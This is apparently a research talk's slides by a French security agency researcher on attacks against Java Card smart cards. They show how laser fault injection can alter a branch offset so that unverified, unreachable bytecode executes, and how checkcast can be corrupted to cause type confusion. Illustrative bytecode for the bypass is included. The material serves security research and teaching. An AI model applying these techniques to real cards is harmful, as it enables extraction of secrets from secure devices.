... Can Be Executed

- EMAN4 [Bouffard et al., CARDIS 2011] introduced a way to change an instruction's parameter upon a laser beam injection;
 - ▶ This attack focuses branching instructions;
 - ▶ goto, goto_w, if_*, if_*_w, ...



... Can Be Executed

- EMAN4 [Bouffard et al., CARDIS 2011] introduced a way to change an instruction's parameter upon a laser beam injection;
 - ▶ This attack focuses branching instructions;
 - ▶ goto, goto_w, if_*, if_*_w, ...
- if_scmpeq_w 0xFF05



... Can Be Executed

- EMAN4 [Bouffard et al., CARDIS 2011] introduced a way to change an instruction's parameter upon a laser beam injection;
 - ▶ This attack focuses branching instructions;
 - ▶ goto, goto_w, if_*, if_*_w, ...
- if_scmpeq_w 0xFF05 $\Rightarrow$ if_scmpeq_w 0x0005.



... Can Be Executed (Cont.)

```
void cheatingBCV (byte[] apduBuffer) {  
    L0: // ...  
        // Set of instructions  
        // ...  
    if_scmpeq_w 0xFF05 // -> L0  
    return  
    aload_0    // this  
    sload_2    // i  
    aload_1    // apduBuffer  
    sspush 0    // 0  
    sspush 50   // 50  
    invokestatic @Util.arrayCopy  
    pop  
    return  
}
```



... Can Be Executed (Cont.)

```
void cheatingBCV (byte[] apduBuffer) {  
    L0: // ...  
        // Set of instructions  
        // ...  
    if_scmpeq_w 0xFF05 // → L0  
    return  
    aload_0    // this  
    sload_2    // i  
    aload_1    // apduBuffer  
    sspush 0    // 0  
    sspush 50   // 50  
    invokestatic @Util.arrayCopy  
    pop  
    return  
}
```

A green arrow originates from the value 0xFF05 in the if_scmpeq_w instruction and points to the L0 label, indicating a jump to that label.

... Can Be Executed (Cont.)

```
void cheatingBCV (byte[] apduBuffer) {  
    L0: // ...  
        // Set of instructions  
        // ...  
    if_scmpeq_w 0xFF05 // → L0  
    return  
    aload_0    // this  
    sload_2    // i  
    aload_1    // apduBuffer  
    sspush 0    // 0  
    sspush 50   // 50  
    invokestatic @Util.arrayCopy  
    pop  
    return  
}
```




... Can Be Executed (Cont.)

```
void cheatingBCV (byte[] apduBuffer) {  
    L0: // ...  
        // Set of instructions  
        // ...  
        if_scmpeq_w 0x0005 // → L1  
        return  
    L1: aload_0    // this ←  
        sload_2    // i  
        aload_1    // apduBuffer  
        sspush 0    // 0  
        sspush 50   // 50  
        invokestatic @Util.arrayCopy  
        pop  
        return  
}
```



... Can Be Executed (Cont.)

```
void cheatingBCV (byte[] apduBuffer) {  
    L0: // ...  
        // Set of instructions  
        // ...  
    if_scmpeq_w 0x0005 // → L1  
    return  
    L1: aload_0    // this  
        sload_2   // i  
        aload_1   // apduBuffer  
        sspush 0   // 0  
        sspush 50  // 50  
        invokestatic @Util.arrayCopy  
        pop  
        return  
}
```



- A fault injection can **corrupt** the execution flow;
- A non-expected statement is executed;
- If this statement is in an unreachable code, it may contains **unchecked instructions**.



Type Confusion Upon a Fault Injection Attack

Principle

- Introduced by [Barbu et al., CARDIS 2010], a fault injection may corrupt the execution of an instruction;
- The authors focused on the checkcast instruction;
- Succeeded in casting two incompatible objects;
- The **white box** approach was adopted to defeat this attack.



Type Conversion in the Java-language

- The Java-language requires a type hierarchy;



Type Conversion in the Java-language

- The Java-language requires a type hierarchy;
- Polymorphism allows type conversion checked during the runtime:

T2 t2;


T1 t1 = (T1) t2;



aload t2

checkcast T1

astore t1



Type Conversion in the Java-language

- The Java-language requires a type hierarchy;
- Polymorphism allows type conversion checked during the runtime:

T2 t2;


T1 t1 = (T1) t2;



aload t2

checkcast T1

astore t1



Type Conversion in the Java-language

- The Java-language requires a type hierarchy;
- Polymorphism allows type conversion checked during the runtime:

T2 t2;


T3 t3 = (T3) t2;



aload t2

checkcast T3

astore t3



A Platform-Dependant Type Confusion

```
public class B {  
    short addr = 0x00FF;  
}
```

```
public class B {  
    C c = null;  
}
```

```
public class C {  
    byte b00, ..., bFF;  
}
```




A Platform-Dependant Type Confusion

```
public class B {  
    short addr = 0x00FF;  
}
```

```
public class B {  
    C c = null;  
}
```

```
public class C {  
    byte b00, ..., bFF;  
}
```



All you need is ... type confusion <3

A a = (A) b;




aload b
checkcast A
astore a

- The BCV **statically** checks this applet;
- During the runtime, the **checkcast** instruction rises a **ClassCastException** exception.




Power Analysis of the checkcast instruction




[Barbu et al., CARDIS 2010]

Power Analysis of the checkcast instruction



[Barbu et al., CARDIS 2010]

Laser Fault Injection



(source: [Barbu et al., CARDIS 2010])

Outline

1 Introduction

- a. Smart Card
- b. Java Card Technology
- c. Attacks on Java Card
- d. Give me your Secrets!

2 Characterizing a Java Card Virtual Machine Implementation

- a. Study the Security of the Platform.
- b. Case Study: Corrupting the Java Card's Control Flow

3 Exploitation

- a. Bypassing Java Card BCV
 - What does the BCV check?
 - The Case of Unreachable Piece of Code
- b. Enabling Malicious Code Inside the Card
- c. Executing Unreachable Code
- d. Enabling a Type Confusion

4 Conclusion



Conclusion

- An installed application on a card **must be checked** by a BCV;
- Only the BCV Oracle implementation is **publicly available** (close-source);
- **Some vulnerabilities** have been found ... and **patched!**;
- Are there other **security flaws**? (this is the million-dollar question!);
 - ▶ A verified BCV is required!
 - ▶ According to which criteria?
- The **next-gen** attacks are the **fault injection attacks**;
- Fault injection can be viewed as a **logical attack enabler**;
- Evaluated cards embed **countermeasures** to **prevent** fault injection attacks.



That's All Folk!

Thank you for your attention!
Questions?

Attacks against the Java Card Platform

From the characterization to the exploitation

Guillaume BOUFFARD (guillaume.bouffard@ssi.gouv.fr)

Agence Nationale de la Sécurité des Systèmes d'Information
(French Network and Information Security Agency)

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Orange Labs – Issy-les-Moulineaux – France

<http://www.ssi.gouv.fr>

